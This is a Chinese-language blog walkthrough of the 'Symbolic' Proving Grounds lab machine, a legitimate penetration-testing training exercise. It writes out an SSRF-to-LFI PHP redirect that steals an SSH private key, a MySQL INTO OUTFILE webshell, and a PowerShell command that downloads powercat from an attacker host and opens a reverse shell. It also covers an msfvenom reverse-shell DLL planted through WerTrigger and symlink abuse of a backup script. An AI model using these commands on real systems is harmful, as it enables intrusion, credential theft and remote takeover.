Proving Grounds Practice : Symbolic Walkthrough
Proving Grounds Practice : Symbolic Walkthrough
Foothole (立足點 ) :
- Port Scan 只有開兩個 Port,80 是一個網頁轉 PDF 的線上工具
- 知道網站是用 php 語法建立,寫一個標準的讀 PDF 的 LFI 利用去讀到使用者的 id_rsa
PE ( 提權 ) :
- 這一題有許多提權解法,但是主機名稱叫做 Symbolic 表示要我們利用這個手法
- 下載無須 administrator 的 "CerateSymlink.exe" 工具建立 Symbolic Link
- 利用管理者備份的權限讀取管理者的 id_rsa 後 ssh 登入
注意事項 :
- 網頁的使用者名稱很特別
- PE 有許多手法可以達成
- phpmyadmin 上傳 webshell 然後透過 powershell 建立 reverse shell
- 透過 MySQL 使用 phoneinfo.dll payload 並執行 WerTrigger.exe 來達到 Reverse shell
- 透過 MySQL 直接讀取 administrator 的 id_rsa Private Key 然後 ssh 登入
- 透過 Symbolic Link 利用本機的備份讀取 administrator 的 id_rsa Private Key 然後 ssh 登入
第一步 Rustscan,└─$ rustscan -a 192.168.156.177 --scripts none --ulimit 5000 | tee rustscan
少見的只有兩個 Port,不是很難就是很簡單
snmp filtered 沒戲,└─$ sudo nmap -sU -Pn -p 161 192.168.156.177 | tee snmp
nmap,└─$ sudo nmap -sCV -A -Pn -p 22,80 192.168.156.177 | tee nmap
22 SSH 看來是一台 Windows
80 Apache httpd 2.4.48
|_http-title: WebPage to PDF : 從 Title 來看是個線上轉 PDF 網站
whatweb,是個 php 網站
80 /
Power by WkhtmltoPdf
Webpage to PDF Converter by p4yl0ad 這句話有貓膩,那個 p4ly0ad 看來是個帳號
看來是個可上傳利用或是送出驗證讓你抓的網站
80 /robots.txt
gobuster
80 /logs
request.log 檔案沒有任何內容
80 /pdfs 沒有任何東西
做一個 test.html 檔案內容如下
Kali 起 HTTP Service 輸入試試看
真的有來抓也顯示了一個 PDF
路徑顯示 : http://192.168.156.177/pdfs/9d4152f6e842ac1b07b42d16ae9faa78.pdf
80 /pdfs 路徑也有看到該檔案了
參考這個 SSRF to LFI 漏洞利用,一樣是透過讀 PDF 檔案的方式改去讀 Local 的檔案
https://zeroday.hitcon.org/vulnerability/ZD-2021-00781
寫一個 php 檔案去讀靶機的 local 檔案
在 linux 我們知道第一個要讀的都是 /etc/passwd 但這裡靶機是 Windows
且在前面有掃到這一台 Windows 有開 SSH Port,所以思考方向與 Linux 相同
就是去讀讀看有沒有使用者的 SSH Key,都是放在使用者目錄的 .ssh 底下
在 Windows 中路徑就是 c:\users\<使用者>\.ssh\id_rsa
在 80 網站首頁可以看到一個看來是使用的帳號 p4yl0ad
所以 php 檔案的寫法如下
<?php
header('Location: file:///Users/p4yl0ad/.ssh/id_rsa');
?>
接著在靶機的網頁輸入 http://<kali IP>/index.php 去讀讀看
這裡 try & error 了好多失敗,最後是成功了但有幾個要特別注意的地方
- index.php 檔案要用 kali 本身其他存在的 php 檔案去編改,不要用文字檔新增去編寫
- 靶機來抓的時候用 python 起的 HTTP Server 會跳 Error
- 一定要起 Apache Server,因為預設網站才會跑 PHP 語言
一模一樣的檔案,上面用 Python 起的 HTTP Server 就失敗,最後跳 Error
下面用 Apache 服務啟動的 HTTP Server 才會成功
kali 起 Apache 很簡單,先安裝再啟動服務即可,兩行指令搞定
sudo apt install -y apache2 php
service apache2 start
- 網頁怎麼輸入都沒有成功,最後用 curl 去打成功了如下,指令 └─$ curl -i -s -k -XPOST --data-binary 'url=192.168.45.224%2Findex.php' 'http://192.168.156.177/Process.php'
內容就是 Private Key
將 Private Key 另存到 kali 取名叫 p4yl0ad.key 然後 SSH 試試看
└─$ ssh -i p4yl0ad@192.168.156.177,進去了
backup 通常都是有 SAM & SYSTEM 的梗,這裡發現沒有但是有一個 backup.ps1
看一下內容發現是每 60 秒從 "C:\xampp\htdocs\logs\request.log" 備份到 "C:\backup\logs"
然後使用當下時間格式命名檔案
先放著繼續看 xmapp 資料夾發現有 phpmyadmin
有個 passowrd.txt 的檔案內容如下,發現 MySQL 用 Root 但不用密碼
現在有三個攻擊面向
1. phpmyadmin 直接利用
2. MySQL 看看有無可利用的地方
3. Backup.ps1 用 Administrator 權限執行
從簡單的下手先搭建 chisel 看看 phpmyadmin
不用密碼直接進去了
直接做一個 upload 的 php
SELECT
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/xampp/htdocs/uploader.php';
確認 uploader.php 新增成功
有點問題,先暫時放棄
改使用現成的 webshell 試試看
參考 : https://github.com/WhiteWinterWolf/wwwolf-php-webshell
複製到 xampp 根目錄下,select load_file('C:\\\\users\\p4yl0ad\\desktop\\webshell.php') into dumpfile 'C:\\\\xampp\\htdocs\\webshell.php';
webshell.php
執行 Powershell 建立 Reverse Shell
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.224:8088/tools/powercat.ps1'); powercat -c 192.168.45.224 -p 4444 -e powershell"
進來了,whoami 確認是管理者沒有問題
改嘗試看看第二個攻擊路徑, chisel 改 mapping MySQL,└─$ mysql -h 127.0.0.1 -u root -p
直接抓 flag 看看,select load_file('C:\\\\Users\\Administrator\\Desktop\\proof.txt');
直接成功了,所以看來 MySQL 的權限是管理者
但是考試的時候要拿到管理者權限才算,所以利用學過的技巧先看一下 phoneinfo.dll 是否存在
icacls c:\windows\system32\phoneinfo.dll,看來該台機器不存在該檔案
Windows 提權最好用的網站 : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---privileged-file-write
當中的 dll 利用 : https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#usodllloader
接下來利用這個,這是利用 phoneinfo.dll 來建立 reverse shell
建立 dll payload,└─$ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.224 LPORT=4446 -f dll -o phoneinfo.dll
參考 : https://github.com/sailay1996/WerTrigger
上傳 Report.wer、WerTrigger.exe 與 payload
透過 MySQL 的權限將檔案搬到 C:\windows\system32 底下
select load_file('C:\\\\users\\p4yl0ad\\desktop\\phoneinfo.dll') into dumpfile 'C:\\\\Windows\\system32\\phoneinfo.dll';
看來有權限可以寫入沒有問題
一樣 icacls c:\windows\system32\phoneinfo.dll 確認一下,然後執行 WerTrigger.exe
4446 Reverse Shell 進來了,whoami 確認是管理者
逛了一下靶機發現原來 administrator 也有 .ssh 資料夾,底下也有 id_rsa Private Key
另外一種提權方式是透過 MySQL 去讀該檔案
select load_file('C:\\\\Users\\Administrator\\.ssh\\id_rsa');
測試看看,└─$ ssh -i administrator.key administrator@192.168.156.177
由於已知 administrator 也有 Private Key 可以透過 SSH 登入
所以想到第三個攻擊向量,可以將重點放在如何透過備份 Log 拿到 Private Key
用到的手法是 symbolic link,簡單講就是物件導向
已知備份的路徑是從 "C:\xampp\htdocs\logs\request.log" 備份到 "C:\backup\logs"
先看一下權限 icacls "C:\xampp\htdocs\logs",確認現有使用者有 (F) 權限
切換到該路徑下然後先刪除現有的 request.log
直接用 Symbolic Link 將原有的 request.log mapping 到 administrator 的 Private Key
New-Item -ItemType SymbolicLink -Path "C:\xampp\htdocs\logs\request.log" -Target "C:\Users\Administrator\.ssh\id_rsa"
Access Deny.......沒有權限 GG
後來使用這個工具 symboliclink-testing-tools 看名稱是個測試工具
簡單講就是實現跟 Symbolic Link 一樣的方式,但是不需要 Administrator 的權限
但是用法與指令要學一下,參考 : https://github.com/googleprojectzero/symboliclink-testing-tools
下載後解壓縮裡面有許多工具,要用到的工具名稱是 "CerateSymlink.exe" 這一支
上傳到靶機後執行指令 .\CreateSymlink.exe "C:\xampp\htdocs\logs\request.log" "C:\Users\Administrator\.ssh\id_rsa"
每 60 秒會執行一次,所以切換到 C:\backup\logs 路徑等一下,然後 dir 就可以看到最新的檔案
讀取該檔案就可以看到 Private Key
跟上面一樣存成檔案然後 ssh -i 就可以登入了
留言
張貼留言